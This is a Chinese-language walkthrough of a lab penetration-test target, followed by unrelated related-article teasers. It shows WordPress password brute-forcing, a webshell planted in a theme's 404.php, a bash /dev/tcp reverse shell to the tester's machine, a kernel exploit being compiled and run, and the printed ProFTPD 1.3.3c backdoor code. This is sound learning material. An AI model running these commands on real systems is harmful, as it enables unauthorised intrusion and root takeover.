渗透实战靶机3wp

0x00 简介

目标IP:xxxx.95

测试IP:xxxx.96

测试环境:win10、kali等

测试时间:2021.7.23-2021.7.26

测试人员:ruanruan

0x01 信息收集

1、端口扫描

在这里插入图片描述

  • 21,ftp,ProFTPD,1.3.3c
  • 22,ssh,Openssh,7.2
  • 80,web
2、目录扫描

通过御剑扫描到/secret/目录

在这里插入图片描述

访问是wordpress博客

在这里插入图片描述

0x02 初次尝试

1、21端口-ftp
  • 匿名登录,失败
  • 弱口令,失败
2、22端口-ssh

高版本,未做尝试

3、80端口-wordpress
  • 尝试后台getshell,投稿页面编辑一句话,未成功
  • 查找wordpress4.9版本漏洞,很多不能getshell
  • wpscan扫插件、主题、用户名等漏洞,无发现

利用wpscan先枚举出用户名,再爆破密码,得到admin/admin。

wpscan --url xxxx.95/secret -e u

在这里插入图片描述

wpscan --url xxxx.95/secret/ -U admin -P rockyou.txt
在这里插入图片描述

访问wp默认后台进行登录。

在这里插入图片描述

0x03 getshell

wordpress后台getshell的常见方法有:

  • 在线编辑
  • 上传文件
    • 媒体文件
    • 主题文件
    • 插件(webshell插件,非漏洞插件)

这里通过在线编辑页面。

首先点击主题,选择editor对404页面进行编辑,写一句话
在这里插入图片描述

完整页面链接:http://xxxx.95/secret/wp-content/themes/twentyseventeen/404.php

然后菜刀连接,getshell

0x04 获得高权限用户

1、收集信息

查看id,目前是www-data

在这里插入图片描述

查看端口开放情况

netstat -ano

在这里插入图片描述

查看数据库配置

在这里插入图片描述

查看home目录,猜测marlinspike为用户名

在这里插入图片描述

进入marlinspike目录,两个提示信息:sudo提权和proftpd后门?

在这里插入图片描述

查看etc/passwd,确认存在该用户

在这里插入图片描述

菜刀的shell不好用,反弹shell到kali

bash -c 'bash -i >&/dev/tcp/xxxx.96/2333' 0>&1

在这里插入图片描述

2、利用信息

猜测账号密码为marlinspike/marlinspike,ssh登录

在这里插入图片描述

然后就继续收集信息尝试提权。

0x05 提权

1、信息收集&尝试
  • linux常见提权尝试:
    • sudo:sudo -l
    • suid
      • find / -type f -perm -u=s 2>/dev/null -ls
    • crontab
      • ls -l |grep cron*
      • ls -al,看有无root权限执行的脚本
    • nfs
      • showmount -e ip
    • 内核
      • uname -a
      • searchsploit
  • mysql提权尝试,mysql服务以mysql权限运行,提权也只能得到mysql账号
  • ftp,同样没有以root权限运行,提权也只能得到ftp用户,不是root用户
2、sudo提权

sudo -l,查看root权限运行的命令

All~~,直接sudo su

在这里插入图片描述

3、内核提权
uname -a

在这里插入图片描述

searchsploit ubuntu 4.10.0

在这里插入图片描述

查看exp详细信息,获得路径

searchsploit -p 45010.c

在这里插入图片描述

登录sftp,上传exp

sftp marlinspike@xxxx.95
put 45010.c

在这里插入图片描述

编译.c文件并执行

gcc 45010.c -o exp
la -l exp
./exp
/bin/bash

在这里插入图片描述

4、低权限用户直接修改root密码

marlinspike账号有该文件的写权限。

ls -al /etc/passwd

在这里插入图片描述

可直接修改X为新密码
在这里插入图片描述

5、利用ProFTPD1.3.3c后门漏洞提权

前面的提示信息有暗示后门,没有善用搜索。

搜索:proftpd 1.3.3.c 后门

具体参考:https://blog.csdn.net/weixin_34384681/article/details/89798540

关键漏洞代码:

if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }

在这里插入图片描述

0x06 总结

1、遇到的问题
  • wordpress后台getshell,在线编辑位置尝试错误
    • 对wordpress后台常见的getshell方法不够熟练,都尝试下
  • 从菜刀直接反弹shell到kali失败,显示/bin/sh,语法错误
    • webshell不是完整的交互式shell,通过bash -c 'xxx’解决
  • 找marlinspike密码时没有直接尝试用户名
    • 在尝试通过收集其他信息来获取,之后遇到任何密码未知情况都可以先试下用户名再尝试信息收集和爆破等方法。
  • 没有注意到可直接修改/etc/passwd
    • 对于etc/passwd、/etc/shadow、.sh等文件要注意其当前用户权限和执行权限。
  • 没有发现proftpd后门漏洞提权方法
    • 不了解该漏洞,但没有善用搜索。多思考、搜索每个信息的用处。
2、知识点
  • wordpress后台getshell方法总结
  • ProFTPD后门提权漏洞
  • 提权思想
    • 直接获取密码
    • 通过root权限运行的服务提权
3、反思
  • 做得较好的地方
    • 思路会更加清晰
    • 收集的信息整合分析较好
    • linux提权更加熟练
  • 需要继续努力的地方
    • 常见服务和cms的漏洞了解范围
    • 关键信息的思考和利用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/119520.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

LSTM缓解梯度消失问题

关于LSTM https://easyai.tech/ai-definition/lstm/ https://towardsdatascience.com/illustrated-guide-to-lstms-and-gru-s-a-step-by-step-explanation-44e9eb85bf21 为何LSTM缓解梯度消失问题 为什么LSTM会减缓梯度消失? - 知乎 LSTM引入长短期记忆&#xf…

TikTok小店运营的三大技巧!跨境电商必看

众所周知,国内的抖音早已风生水起,抖音给了很多普通人一夜暴富的机会。而Tiktok也跟随着抖音开启了商业模式,目前流量与机会都是不可小觑的。在店铺申请通过,成功入驻之后,又该如何运营?这篇文章为大家解答…

Webpack 中 loader 的作用是什么?常用 loader 有哪些?

说说webpack中常见的Loader?解决了什么问题?- 题目详情 - 前端面试题宝典 1、loader 是什么 loader是 webpack 最重要的部分之一。 通过使用不同的 loader,我们能够调用外部的脚本或者工具,实现对不同格式文件的处理。 loader…

Uniapp实现多语言切换

前言 之前做项目过程中,也做过一次多语言切换,大致思想都是一样的,想了解的可以看下之前的文章C#WinForm实现多语言切换 使用i18n插件 安装插件 npm install vue-i18n --saveMain.js配置 // 引入 多语言包 import VueI18n from vue-i18n…

王干娘和西门庆-UMLChina建模知识竞赛第4赛季第18轮

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集 参考潘加宇在《软件方法》和UMLChina公众号文章中发表的内容作答。在本文下留言回答。 只要最先全部答对前3题,即可获得本轮优胜。 所有题目的回答必须放在同一条消息中&…

二十、泛型(3)

本章概要 构建复杂模型泛型擦除 C 的方式迁移兼容性擦除的问题边界处的动作 构建复杂模型 泛型的一个重要好处是能够简单安全地创建复杂模型。例如,我们可以轻松地创建一个元组列表: TupleList.java import java.util.ArrayList;public class TupleL…

简单工厂模式、工厂方法模式、抽象工厂模式

简介 将实例化代码提取出来,放到一个类中统一管理和维护,达到和主项目依赖关系的解耦,从而提高项目的扩展性和维护性。 工厂模式将复杂的对象创建工作隐藏起来,而仅仅暴露出一个接口供客户使用,具体的创建工作由工厂管…

51基于matlab模拟退火算法矩形排样

基于matlab模拟退火算法矩形排样,基于最低水平线算法完成矩形板材下料优化,输出最优剩料率和最后的水平线,可替换自己的数据进行优化,程序已调通,可直接运行。 51matlab模拟退火算法矩形排样 (xiaohongshu.com)

提升设备可靠性:人工智能(AI)在设备维护中的应用

当今社会,人工智能(AI)已从遥不可及的概念转变为现实,并被广泛地讨论和应用。AI技术已经渗透到各个领域,包括工业领域的设备维护。在现代工业领域,设备可靠性是企业持续运营和保持竞争力的关键因素之一。随…

正点原子嵌入式linux驱动开发——Linux Regmap驱动

在前面学习I2C和SPI驱动的时候,针对I2C和SPI设备寄存器的操作都是通过相关的API函数进行操作的。这样Linux内核中就会充斥着大量的重复、冗余代码,但是这些本质上都是对寄存器的操作,所以为了方便内核开发人员统一访问I2C/SPI设备的时候&…

【算法 | 模拟No.3】leetcode 38. 外观数列

个人主页:兜里有颗棉花糖 欢迎 点赞👍 收藏✨ 留言✉ 加关注💓本文由 兜里有颗棉花糖 原创 收录于专栏【手撕算法系列专栏】【Leetcode】 🍔本专栏旨在提高自己算法能力的同时,记录一下自己的学习过程,希望…

技术分享 | app自动化测试(Android)--App 控件定位

客户端的页面通过 XML 来实现 UI 的布局,页面的 UI 布局作为一个树形结构,而树叶被定义为节点。这里的节点也就对应了要定位的元素,节点的上级节点,定义了元素的布局结构。在 XML 布局中可以使用 XPath 进行节点的定位。 App的布…

openGauss学习笔记-117 openGauss 数据库管理-设置数据库审计-查看审计结果

文章目录 openGauss学习笔记-117 openGauss 数据库管理-设置数据库审计-查看审计结果117.1 前提条件117.2 背景信息117.3 操作步骤 openGauss学习笔记-117 openGauss 数据库管理-设置数据库审计-查看审计结果 117.1 前提条件 审计功能总开关已开启。需要审计的审计项开关已开…

Java EE进阶2

包如果下载不下来怎么办? 1,确认包是否存在 2.如果包存在就多下载几次 3.如果下载了很多次都下载不下来,看看是不是下面几步出现了问题? 1)是否配置了国内源 settings.xml 2)目录是否为全英文,存在中文的话就修改路径 3)删除本地仓库的 jar 包,重新下载(可能由于网络的原…

大语言模型幻觉解决方案综述

论文题目:《Cognitive Mirage: A Review of Hallucinations in Large Language Models》 论文链接:https://arxiv.org/abs/2309.06794v1 论文代码:https://github.com/hongbinye/cognitive-mirage-hallucinations-in-llms 技术交流群 建了…

【QT】设置焦点及光标位置

很高兴在雪易的CSDN遇见你 ,给你糖糖 欢迎大家加入雪易社区-CSDN社区云 前言 本文分享Qt中如何设置焦点和光标位置的解决方案,并给出常见的问题解决方案,希望对各位小伙伴有所帮助! 感谢各位小伙伴的点赞+关注,小易会继续努力分享,一起进步! 你的点赞就是我的动力(…

第19章_体系结构

文章目录 1. 逻辑架构剖析1.1 服务器处理客户端请求1.2 Connectors1.3 第1层:连接层1.4 第2层:服务层1.4.1 SQL Interface: SQL接口1.4.2 Parser: 解析器1.4.3 Optimizer: 查询优化器1.4.4 Caches & Buffers: 查询缓存组件 1.5 第3层&…

uniApp获取当前位置经纬度

以下是使用uni.getLocation获取当前位置的示例代码: 调用uni.getLocation方法获取当前位置信息 uni.getLocation({type: wgs84, // 坐标类型,默认为wgs84,可选的值为gcj02和bd09llsuccess: res > {// 获取成功,经度和纬度在r…

Java Spring Boot----ruoyi项目部署 前后端分离

nginx服务器部署java服务器部署db服务器部署配置打包环境配置前端打包环境(java服务器)配置后端打包环境获取代码 前端代码打包后端代码打包项目上线前端项目上线后端项目上线 将jar包传送到后端服务器导入初始化数据 ip主机名服务名称192.168.20.138ngi…

【pyspider】爬取ajax请求数据(post),如何处理python2字典的unicode编码字段?

情景:传统的爬虫只需要设置fetch_typejs即可,因为可以获取到整个页面。但是现在ajax应用越来越广泛,所以有的网页不能用此种爬虫类型来获取页面的数据,只能用slef.crawl()来发起http请求来抓取数据。 直接上例子: 可以…